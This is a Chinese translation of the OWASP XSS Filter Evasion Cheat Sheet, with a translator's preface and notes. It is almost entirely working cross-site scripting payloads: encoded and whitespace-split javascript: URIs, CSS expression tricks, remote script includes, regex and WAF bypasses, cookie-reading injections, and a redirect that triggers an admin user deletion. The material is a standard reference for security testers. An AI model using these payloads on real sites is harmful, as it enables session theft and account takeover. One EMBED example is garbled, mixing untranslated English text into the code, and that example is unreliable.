Xss Bypass備忘錄javascript
技術要發展,免不了風波.php
也許這些攻攻防防會更好的促進技術的發展也說不定css
就讓這一次次的爆破換來未來更精練的技術的無比的寧靜吧html
咱們靜觀其變吧!java
緬懷當初那份最純真Hacker精神!!正則表達式
2017.深圳chrome
By:Legendshell
翻譯本文最初源自國內在對2014年老道翻譯的一個版本,發現此版本有些翻譯我的認爲不太滿意,在加上2017年國慶長假漫漫,無人陪伴(主要仍是約妹子沒約出來!)。因此纔對此進行翻譯工做,但願對國內各位安全愛好者們有必定幫助吧。請容許譯者用本身對此文檔看法取一箇中文名字—XSS BYPASS備忘錄。文中全部代碼參考OWASP官方複製,同時對於官方文檔裏面有些描述不太清楚地方譯者經過本身對XSS理解加入一些本身看法,來幫助各位對XSS理解更上一個臺階。,而後如文檔以前說帶上一個妹子名字。她說名字不讓說,那麼我們姑且叫她小星星吧,翻譯版權歸她全部。對於翻譯不免存在錯誤。請各位看官見諒!數據庫
翻譯官方修訂的版本:10/2/2017express
關於譯者:ID太多本身都忘記叫那個比較合適,就叫笑摸二樓狗頭吧!
譯者爲legend,固然也有人叫我小黑.或者…名字這些都不重要.本文部分章節採用了, OWASP Cheat Sheet Series翻譯項目, XSS過濾繞過備忘單[1]部分小段,大概位於」URL字符串繞過」章節特此說明.由於譯者認爲他們翻譯比我更爲通順.其餘部分皆爲譯者結合全文與相關資料而編寫,鄙人不認爲說比老道版本好多少或者差多少.每一個讀者感覺不同,我只能說對本身說:我已經盡力了.
若是有興趣一塊兒交流技術也歡迎聯繫我.做爲一位安全圈萌新,還須要各位大佬帶帶,最後感謝本身的團隊還有各位老鐵們支持,若是沒有大家意見或許就沒有這份文檔出現.關於如何聯繫我?
因上努力,果上隨緣
特此說明:備忘錄中譯者標註和添加解釋部分均用插入腳註方式或者如(譯者注:)顏色標明,望知曉.
目錄
XSS Filter Evasion Cheat Sheet(Chinese) 1
利用括號半開在HTML/JavaScript 進行XSS 11
利用Livescript命令進行XSS(只適用老版本Netscape) 13
利用& JavaScript includes方法進行XSS 20
利用<img>style屬性配合註釋符來分解XSS payload 21
利用<style>標籤進行分解XSS payload 加強版 21
利用<STYLE>標籤(僅限於老版本Netscape) 21
利用<style>標籤的background-image屬性進行XSS 21
利用<style>標籤的background屬性進行XSS 22
在DIV中使用background-image屬性完成XSS 23
使用background-image屬性配合unicoded編碼完成XSS 24
使用background-image屬性加上額外字符完成XSS 24
使用<EMBED>標籤嵌入一個包含XSS的Flash動畫 25
使用ActionScript來混淆你的XSS payload 25
利用XML的embedded方法在本地XML中嵌入Javascript 26
本文重點是爲Web應用安全測試人員提供指導,以協助進行XSS安全測試。本文初始內容因爲RSNake從他的開創性XSS備忘錄捐贈給OWASP,該頁面位於http://ha.ckers.org/xss.html。該網站如今重定向到這裏https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。咱們計劃在這裏對它進行維護和更新。同時XSS (Cross Site Scripting) Prevention Cheat Sheet的第一個版本就是受到RSnake的XSS過濾繞過備忘錄啓發,因此咱們要感謝他的靈感。咱們但願建立簡單,有效指南,開發人員能夠遵循指南防止XSS攻擊,而不是簡單告訴開發人員構造能夠防止在本備忘錄中全部花哨技巧的程序,所以就有XSS (Cross Site Scripting) Prevention Cheat Sheet等安全備忘錄系列誕生。
這個Bypass備忘錄適用於已經瞭解XSS攻擊基礎的人羣,同時又但願深刻了解防禦繞過的細微差異。
請注意,大多數這些XSS payload已經在列出瀏覽器中進行了測試。
在大多數狀況下,若是頁面沒有對XSS進行特別過濾狀況下,在存在XSS地方將會彈出」XSS」一詞。能夠經過URL編碼對整個payload進去編碼。小技巧:若是想經過快速方法去判斷一個頁面是否存在XSS,一般只須要在「<PLAINTEXT>」標籤處注入你的payload,看看是否被打亂就能夠判斷是否存在XSS漏洞了。
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
若是你沒有足夠的輸入空間,去測試頁面是否能執行javascript,則此payload是一個很不錯的緊湊型的XSS檢測代碼。輸入代碼後,經過此查詢頁面源代碼搜索XSS看他是否存在問題。
'';!--"<XSS>=&{()} |
這是一個常規的XSS測試代碼,也是最容易被攔截的,可是我建議先嚐試(關於引號在任何瀏覽器中都不須要,因此這裏省略);
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT> |
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script> <script>alert(document.cookie)</script>"> <img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"> <img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg"> |
利用image標籤配合Javascript命令來實現XSS。(IE7.0瀏覽器不支持Java Script命令在image標籤中觸發XSS,可是在能夠在其餘標籤中出發。下面例子僅展現一種,其餘標籤依舊一樣能夠。)
<IMG SRC="javascript:alert('XSS');"> |
譯者注:如文中所說,還有其餘方法.此文檔未列出了而已.這裏譯者簡單羅列一下.
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<img src="URL" style='Xss:expression(alert(/xss/));'> |
<IMG SRC=javascript:alert('XSS')> |
<IMG SRC=JaVaScRiPt:alert('XSS')> |
此樣例中分號是必需要的。
<IMG SRC=javascript:alert("XSS")> |
若是你須要使用單雙引號,可是又被過濾掉,可使用重音符()[2]來封裝你的JavaScript字符串,這個也是不少XSS防禦以及過濾器沒有考慮到這個字符.
<IMG SRC=javascript:alert("RSnake says, 'XSS'")> |
利用Href規定連接目標的特性,從而發起XSS攻擊,此想法由David Corss 提出,而且在Chrome瀏覽器上獲得驗證.
<a onmouseover="alert(document.cookie)">xss link</a> |
此外Chrome喜歡替你作引號補全,若是你遇到不能被執行的話.那麼就直接跳過忽略他們便可.由於Chrome會修復你URL或者腳本中丟失的引號,而且將它們補全.
<a onmouseover=alert(document.cookie)>xss link</a> |
最先被Begeek發現(可謂短小而精悍的運行在任何瀏覽器上),這個XSS paylod依靠瀏覽器的渲染引擎解析IMG標籤中的XSS payload,該標籤必須在引號內運行.我認爲這個最初爲了糾正錯誤編碼而出現的.這將意味着可使用難以理解HTML標籤去解析.
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> |
若是任何形式引號都被攔截的狀況下,你可使用fromCharCode()方法來創造你須要的XSS Payload.
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> |
此方法將繞過大多SRC域過濾器,能夠利用事件方法插入任意Java script腳本.此方法也一樣適用於From,iframe,input,Embed等任何HTML標記類型元素,同時它還容許標記類型相關事件做爲備選進行替換,例如onblur,onclick,在後面爲你附近一份可用事件表.因爲Abdullah Hussam提供. Abdulahhusam編輯.
<IMG SRC=# onmouseover="alert('xxs')"> |
<IMG SRC= onmouseover="alert('xxs')"> |
<IMG onmouseover="alert('xxs')"> |
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img> |
<img src=x onerror="javascrip&
#0000116:alert('XS S')"> |
此示例所使用的XSS payload沒法有些瀏覽器下使用.<在Gecko引擎下IMG標籤在firefox和Netscape 8.1+不起做用>
<IMG SRC=javascript:alert(
'XSS')> |
編碼繞過xss過濾器常常會用到"&#XX;",可是大多數人不太知道編碼限制最多容許7位字符.致使錯誤認爲一個html編碼須要用;去結束,那些對字符串解碼也是一樣,如$tmp_string =~ s/.*\&#(\d+);.*/$1/.(做者注:無心中發現)
<IMG SRC=javascript:a&
#0000108ert('XSS')> |
這也是針對上述字符串$tmp_string =~ s/.*\&#(\d+);.*/$1/進行XSS攻擊.
<IMG SRC=javascript:alert('XSS')> |
用於繞過某些XSS防禦.
<IMG SRC="jav ascript:alert('XSS');"> |
使用TAB編碼[3]這個來分解XSS.
<IMG SRC="jav	ascript:alert('XSS');"> |
一些人認爲09-13(十進制)均可進行此類型攻擊,其實非也.其實只有09(tab),10(換行)和13(回車)可使用.查看ascii表,下面四個示例將展示此payload.
<IMG SRC="jav
ascript:alert('XSS');"> |
注意:上面用這些字符串比規定的要長,由於0是能夠被省略的.一般咱們看到的過濾器繞過十六進制和十進制編碼是兩到三個字符.正確的應該是一到七個字符.
<IMG SRC="jav
ascript:alert('XSS');"> |
Null空字符也能夠做爲XSS payload.可是不能像上邊那樣.你須要直接寫入到他們利用工具中例如burp,或者使用%00字在你的url字符串裏.在opera的老闆(大概7.11 on windows)對於173個char會受到影響.可是null char %00更有用,並幫助咱們繞過某些真實的防禦,相似示例中:
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out |
XSS過濾匹配模式不少狀況都沒有考慮」Javascript:」中可能有存在空格的狀況,所以不然沒法渲染.可是這也是致使錯誤的假設,認爲你不能夠有引號和」Javascript:」關鍵字.實際上,你能夠從十進制的%01~%32中獲得任何字符;
<IMG SRC="  javascript:alert('XSS');"> |
Firefox HTML解析器設定一個在html關鍵字中非字母非數字都不是有效的.由於這些字符會被視爲空格或非有效的HTM標籤.問題是一些XSS過濾器假設他們正在匹配關鍵字而後被空格拆解了.例如"<SCRIPT\s" != "<SCRIPT/XSS\s":
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT> |
而後,基於上述相同想法,使用Ranke fuzzer進行拓展.Gecko渲染引擎容許字母,數字或者HTML封裝字符(如引號,尖括號)以外字符位於事件處理和等號之間.從而繞過XSS過濾器.注意這也只是適用於重音符以下所示:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^=alert("XSS")> |
根據Yair Amit提醒,IE和Gecko渲染引擎之間略有不一樣,只容許標籤和參數之間沒有空格和斜槓.若是系統不容許空格,這示例可能頗有用.
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT> |
由Franz Sedlmaier提交,這個XSS paylod能夠經過首先使用匹配」<>」的檢測引擎,而後經過比較內部標籤,而沒有使用更加有效的方式(例如匹配整個字符串尖括號和相關標籤).」//」註釋在結尾的用於防止Javascrip錯誤.
<<SCRIPT>alert("XSS");//<</SCRIPT> |
在Gecko渲染引擎模式下firefox和netscape8.1中,實際上並不須要常規XSSpayload中的」></script>」部分.firefox會爲你很是體貼的安全閉合HTML標籤,而且加入閉合標籤!這不須要任何額外的HTML.你能夠添加引號,若是須要的話.但一般並非必須的,注意:我不清楚這個代碼寫入到html代碼會閉合成什麼樣子.
<SCRIPT SRC=http://xss.rocks/xss.js?< B > |
這個玩法由Łukasz Pilorz提出來的,而且Ozh's基於上下文提出協議解析繞過方法.這個XSS payload運行在IE.Netscape在IE和opera渲染模式中,不須要考慮編碼問題,由於瀏覽器在」.j」寫法中,會自動識別<script>標籤.這種方法很是有效在輸入長度受到限制,時候來進行繞過.固然域名越短越好.
<SCRIPT SRC=//ha.ckers.org/.j> |
跟firefox不一樣,IE渲染引擎不會加入額外的數據在你頁面上.可是它容許Javascript利用在<img>標籤從而產生XSS payload.由於它不須要一個結束」>」尖括號.你能夠插入這個XSS向量在任何HTML標籤後面.甚至能夠不用」>」來閉合標籤.注意:這樣確實會搞亂HTML,這取決於他下面的HTML.同時對於這種入侵檢測系統(NIDS)正則匹配能夠直接繞過,表達式爲: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ 由於它不須要」>」結束閉合標籤.它也是能夠有效對抗真實XSS過濾器,我曾經用這種半開的<iframe>標籤代替<img>標籤去繞過過濾器.
<IMG SRC="javascript:alert('XSS')" |
使用一個半開的」<」尖括號在payload結尾處代替」>」進行閉合,會在Netscape和Gecko兩個渲染下產生不一樣效果.firefox正常使用,Netscape就不行;
<iframe src=http://xss.rocks/scriptlet.html < |
當用戶在一個應用程序編輯自定義信息的時候,在常規Javascript代碼中是這樣,例如: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>.若是你想插入你本身的Javascript代碼時候,會被服務轉義掉其中某些引號,這時你須要經過轉義被轉義字符來繞過它.從而使最終輸入代碼相似於<SCRIPT>var a="\\";alert('XSS');//";</SCRIPT>.最終雙引號被服務器轉義,而且觸發了XSS payload.示例以下:
\";alert('XSS');// |
另一種方法就是,若是json或者Javascript轉義被應用嵌入數據,而不是HTML編碼,則Payload以下示例:
</script><script>alert('XSS');</script> |
這是一個很是easy的XSS payload,能夠利用閉合<title>標籤,能夠封裝惡意的XSS攻擊.
</TITLE><SCRIPT>alert("XSS");</SCRIPT> |
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> |
譯者注:其實還能夠利用<input>標籤中的hideeen屬性來觸發,網上已經有詳細描述,這裏就不敘述了,示例以下:
<input type="hidden" name="returnurl" value="[USER INJECT]" /> |
<BODY BACKGROUND="javascript:alert('XSS')"> |
<IMG DYNSRC="javascript:alert('XSS')"> |
譯者注:不過只在IE和Netscape中支持,Firefox會提示proprietary attribute或者拒絕訪問.同時譯者在這裏說明下,只針對IE6之前,到之後版本就不支持了.望注意(*^__^*).
<IMG LOWSRC="javascript:alert('XSS')"> |
基於CSS的List-style-image屬性進行XSS
使用圖像來替換列表項的標記,此Javascript指令只能在IE下使用,是一個不是特別有用的XSS paylod.
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> |
譯者注:因爲翻譯工做佔用大量時間,沒有在具體環境下測試此paylod,可是理論上」 list-style-image」, 全部瀏覽器都支持 list-style-image 屬性。
<IMG SRC='vbscript:msgbox("XSS")'> |
<IMG SRC="livescript:[code]"> |
<svg/onload=alert('XSS')> |
Set.constructoralert\x28document.domain\x29
|
此方法不須要」javascript:」或」<script …」任何編碼方式來進行XSS攻擊. Dan Crowley另外指出,你能夠在等號以前放一個空格("onload=" != "onload ="):
<BODY ONLOAD=alert('XSS')> |
它能夠用於上述相似XSS攻擊(這是在撰寫本文時在網絡上最全面的列表了).感謝Rene Ledosquet在HTML+TIME上更新,此外你能夠參考Dottoro Web Reference固然還有一份很好的Javascript事件列表.
<BGSOUND SRC="javascript:alert('XSS');"> |
<BR SIZE="&{alert('XSS')}"> |
<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> |
(使用像遠程樣式表這樣的東西,你能夠利用樣式參數做爲XSS,能夠用嵌入表達式方式來完成XSS攻擊).可是它僅僅適用在IE瀏覽器或者Netscape 8.1+下運行.須要注意頁面上沒有顯示包含Javascript代碼.使用這樣的遠程樣式表,至少須要使用body標籤,所以除非顯示paylod自己的其餘內容.若是他是一個空白頁面,你須要添加至少一個字母到頁面顯示,確保payload能夠正常工做..
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> |
這跟上述原理相同,只不過這裏使用的<STYLE>標籤來代替<LINK>,稍微變更下被用來攻擊GOOGLE Desktop.注意:若是此payload遇到閉合後會出如今htrml上,則能夠考慮刪除</style>.若是你在XSS腳本攻擊中沒法使用等號或斜槓,那麼能夠試試這個:
<STYLE>@import'http://xss.rocks/xss.css';</STYLE> |
適用於Opera8.0(不支持9.X),根據RFC2616設置連接頭,.它不符合HTTP1.1的規範,可是有一些瀏覽器仍然容許它(如firefox和Opera).這裏技巧就是,我設置一個http頭(這裏與HTTP頭沒什麼區別,例如: <http://xss.rocks/xss.css>; REL=stylesheet).這樣帶遠程XSS payload將會運行,可是它並不支持FireFox.
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet"> |
僅適用於Gecko渲染引擎,並將XUL文件綁定到父頁面.我的認爲這裏是諷刺Netscape,Gecko是更安全的,所以絕大多數網站容易受到這種影響:
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE> |
此payload有時會將IE瀏覽器中形成無限循環.
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> |
由Roman Ivanov建立.
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> |
這與上述XSS payload混合,但他確實展示了<style>標籤被分隔解析是多困難.一樣它也會在IE下形成無限彈窗.
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'> |
<STYLE TYPE="text/javascript">alert('XSS');</STYLE> |
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A> |
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> |
IE渲染引擎模式中IE6.0和Netscape8.1+並不關係你建立的html標籤是否存在,只要它是以<>全開括號和字母開頭就行;
<XSS STYLE="xss:expression(alert('XSS'))"> |
這跟上述兩個XSSpayload有點不一樣,由於它使用的.htc文件必須與XSS payload在同一域內.示例文件經過寫入Javascript並利用style屬性來運行;
<XSS STYLE="behavior: url(xss.htc);"> |
US-ASCII編碼(因爲Kurt Huwig發現).這裏使用7位代替8位,該XSS payload能夠繞過不少基於內容檢測的過濾器,但僅限於主機上使用US-ASCII編碼傳輸或者你設置爲此編碼時才起做用.這對於WEB應用防火牆XSS過濾比對服務器端過濾繞過更有用.已知Apache Tomcat目前惟一以US-ASCII編碼傳輸的服務器.
¼script¾alert(¢XSS¢)¼/script¾ |
利用<META>奇怪之處在於它不會在http頭中發送引用referrer,所以它能夠用用於某些類型攻擊,你須要避免引入URL:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> |
這種方案其實很不錯,由於他沒有任何明顯的script或者Javascript指令,由於它使用base64編碼.具體請參考RFC 2397瞭解更多詳情,或者訪問此處XSS編碼器對你的XSSpaylod進行base64編碼.
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> |
若是目標網站嘗試檢查URL是否包含http://,那麼你可使用如下payload來繞過它.( 因爲Moritz Naumann提出);
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> |
若是目標網站容許<IFRAME>,那麼會產生不少XSS問題.
<IFRAME SRC="javascript:alert('XSS');"></IFRAME> |
Iframes還有大多數其餘元素可使用像一下基於事件來進行混淆(因爲David Cross提交.)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> |
<FRAME>與<IFRAME>存在相同的問題.
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> |
<TABLE BACKGROUND="javascript:alert('XSS')"> |
如圖上面所述,<TD>也容易受到包含Javascript的XSS payload攻擊.
<TABLE><TD BACKGROUND="javascript:alert('XSS')"> |
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> |
這只是稍微修改去混淆下URL參數.它最先被Renaud Lifchitz發現用於攻擊hotmaill;
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> |
Rnaske創建了一個快速的XSS Fuzzer來檢測半開擴號後容許的字符,但在安全的站點模式下IE和Netscape8.1中Javascript命令以前.這些都是十進制的,但固然能夠利用十六進制進行填充.(可使用如下任意字符: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> |
這個payload稍微修改下在冒號和」 expression」中間加入一個換行符,能夠很是有效繞過真實的XSS防禦.
<DIV STYLE="width: expression(alert('XSS'));"> |
盡在IE5.0及以上版本和使用IE渲染引擎模式的Netscape下有效.一些網站認爲在註釋內的內容是安全的,所以不須要移除.或者系統可以在頁面某些部分添加註釋標籤,從而讓它們失去有害性.如咱們所知,這些操做(把內容註釋掉的操做)多是於事無補的:
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT> <![endif]--> |
這在IE和Netscape8.1的安全模式下能起做用.你須要使用//註釋掉下一個字符,避免JavaScript錯誤,從而讓咱們的XSS攻擊向量正常執行.這也依賴於一個條件:網站圖像使用相對地址如"images/image.jpg」,而非絕對地址.若是地址中包含了斜槓("/images/image.jpg」),你能夠在XSS payload移除一個:
<BASE HREF="javascript:alert('XSS');//"> |
若是頁面容許<OBJECT>標籤,你甚至能夠在頁面掛馬.下面連接指向的文件是一個能夠包含你的XSS payload的HTML文件;
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT> |
若是你添加allowScriptAccess=「never"和allownetworking="internal」屬性,能夠減輕這種風險(感謝Jonathan Vanasco提供信息);
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED> |
這個例子只在Firefox下有效,但它比上面的攻擊向量要好一些,由於這不須要用戶安裝或開啓Flash(感謝nEUrOO提供):
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> |
a="get";
b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d); |
這個XSS payload僅限於IE和Netscape8.1中的IE渲染引擎中工做(因爲Sec Consult在對yahoo進行審計時候發現這個payload)
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> |
這與上述相同,在本地託管(必須在同一臺服務器上)包含你的XSS payload的XML文件.具體看示例;
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> |
這就是Grey Magic攻擊hotmail和yahoo!的方法,這僅限於IE和Netscape8.1中使用,並記住,須要在HTML和<BODY>標籤之間使用;
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"> </BODY></HTML> |
能夠將XSS payload的Javascript文件重命名爲圖片文件命名規則.
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT> |
這須要在服務器上安裝SSI,這樣才能使用這個XSS payload.可能不須要說起這一種攻擊方法,若是攻擊者能夠在服務器上執行命令,那麼這個安全問題就更嚴重了.
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"--> |
須要在服務器上安裝php才能使用XSS payload.再次提醒下,若是你能夠像這樣遠程運行任意腳本,那麼可能有更多可怕的安全問題;
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?> |
它是須要用戶認證後才能夠執行命令的當前域頁面。它將能夠用於建立或者刪除用戶(若是訪問者是管理員),或是在其餘地方發送憑證等等,雖然較少被使用,但很是有效的。
譯者注:能夠理解爲相似CSRF那種操做.
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> |
這是一種更加可怕地攻擊,由於沒有看起來能夠區別的標示符,並且它也不用放在被攻擊者網站上.攻擊向量使用302或304來跳轉圖片到一個命令地址.一個正常的<IMG SRC="httx://badguy.com/a.jpg">可以成爲一個攻擊工具,來執行相應的攻擊命令.下面一個在Apache上的用來進行攻擊的.htaccess文件的內容(感謝Timo提供)::
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser |
我認可這是一種很隱蔽的攻擊方式,但我曾經見過一些示例:頁面容許<META>標籤,你能夠用它來覆蓋cookie.還有一些其餘的示例:頁面不是從數據庫中取用戶名,而是從cookie中讀取.這兩個場景相結合的狀況下,你能夠修改受害者的cookie,讓你的XSS payload能夠在頁面上執行(一樣你能夠用它來改變用戶狀態,讓它們以你的身份登陸等):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> |
若是頁面存在XSS而且沒有提供頁面編碼或者瀏覽器設置爲UTF-7編碼,頁面就能遭到這種攻擊(感謝Roman Ivanov).在現代瀏覽器中,除非修改編碼類型,不然這種攻擊是不會產生的(Watchfire在google的404腳本中發現了這個漏洞)
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- |
這個在IE測試過,視狀況而定.對於容許」<script>」標籤,但不容許經過」<SCRIPT SRC...」(正則表達式爲:」/<script[^>]+src/I」),這種狀況就能夠考慮下此payload;
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT> |
對於容許」<script>」標籤,但不容許」<script src …>」站點上執行XSS payload正則表達式爲
」 /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i」,(這個很重要,由於這種正則匹配很常見.)
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT> |
另一個繞過相似這種正則過濾繞過,XSS payload.
(」 /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i」)
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT> |
最後一種繞過這種正則過濾,XSS payload,使用重音符(它沒法在firefox下使用).正則表達式爲:
「/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i」;
<SCRIPT a=> SRC="httx://xss.rocks/xss.js"></SCRIPT> |
這個XSS paylodad,會引發正則表達式不會匹配引號,同時發現會引發不正確的終止字符串.
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT> |
這種XSS payload讓我很擔心,由於它幾乎沒法防護,除非禁用全部動態內容.
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT> |
假定頁面不容許出現http://www.google.com/;
<A HREF="http://66.102.7.147/">XSS</A> |
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> |
(注意:還有其餘雙字節編碼方式,具體能夠經過後面的IP混淆計算器來獲取更多信息)
<A HREF="http://1113982867/">XSS</A> |
你能夠在第2個數字看出來,每一個數字容許的總大小在240以內.16進制的值是介於0~F之間的.從第3個數字看,前導0的也是不須要的:
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> |
你能夠填充0,可是要保證每一個「數字」都不小於4個字符:
<A HREF="http://0102.0146.0007.00000223/">XSS</A> |
咱們混合並匹配基本編碼,添加一些製表符和換行符.這些符號須要包含在引號內才起做用.
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A> |
(//轉換爲http://能節省一些字符).當空間成爲問題時,這是很是方便的方法.也能繞過相似於"(ht|f)tp(s)?://「的正則(感謝Ozh的提供).你能夠將"//「改成"\」.你須要保證斜槓在準確的位置,不然有可能被當成一個相對路徑.
<A HREF="//www.google.com/">XSS</A> |
Firefox使用Google的手氣不錯功能來根據用戶鍵入的關鍵字跳轉到對應的網站.若是你的攻擊頁面在一些隨機關鍵詞的頂部,你可使用這個特性來攻擊Firefox用戶.這利用了Firefox的「keyword:」協議.你能夠經過使用若干關鍵詞來達到目的:"keyword:XSS+RSnake」,這在Firefox2.0版本再也不有效.
<A HREF="//google">XSS</A> |
這裏使用了一個只有Firefox支持的小竅門.由於它是基於手氣不錯功能開發的.這個不支持opera,由於opera認爲這是一個利用HTTP基本認證的網絡釣魚攻擊.事實上它僅僅是一個畸形的URL.若是你單擊這個連接的話,它就會產生做用.不過這個特性在Firefox2.0以後的版本也不支持了:
<A HREF="http://ha.ckers.org@google">XSS</A> |
這是一個畸形的Url,只能在Firefox和Opera中起做用.由於它們是基於手氣不錯功能實現的, 像上面的例子同樣,它們須要你的網站在谷歌搜索中排名第一(例如google):
<A HREF="http://google:ha.ckers.org">XSS</A> |
結合上面的URL,移除www能節省4個字節:
<A HREF="http://google.com/">XSS</A> |
<A HREF="http://www.google.com./">XSS</A> |
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A> |
假定"http://www.google.com/「被過濾器以編程方式被替換爲空.我會使用相似的攻擊向量借用過濾器的轉換來繞過XSS過濾器從而建立攻擊向量.下面是一個幫助建立攻擊向量的例子(IE: "java	script:」被轉換爲"java script:」,這在IE、安全模式下的Netscape 8.1+和Opera是有效的);
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> |
下面是<字符在HTML和Javascript中全部組合.大多數不會被瀏覽器直接執行.可是在不少可以在上述某些特定狀況下使用.
<
%3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C |
通常問題
若是攻擊者繞過過濾器發起XSS攻擊,WAF將沒法防護攻擊
Example: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);// |
基於DOM型XSS
Example: <script> ... eval($_GET[xss]); ... </script>
Exploitation: /?xss=document.cookie |
容易受攻擊代碼:
...
header('Refresh: 0; URL='.$_GET['param']); ... |
/?param=javascript:alert(document.cookie) |
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= |
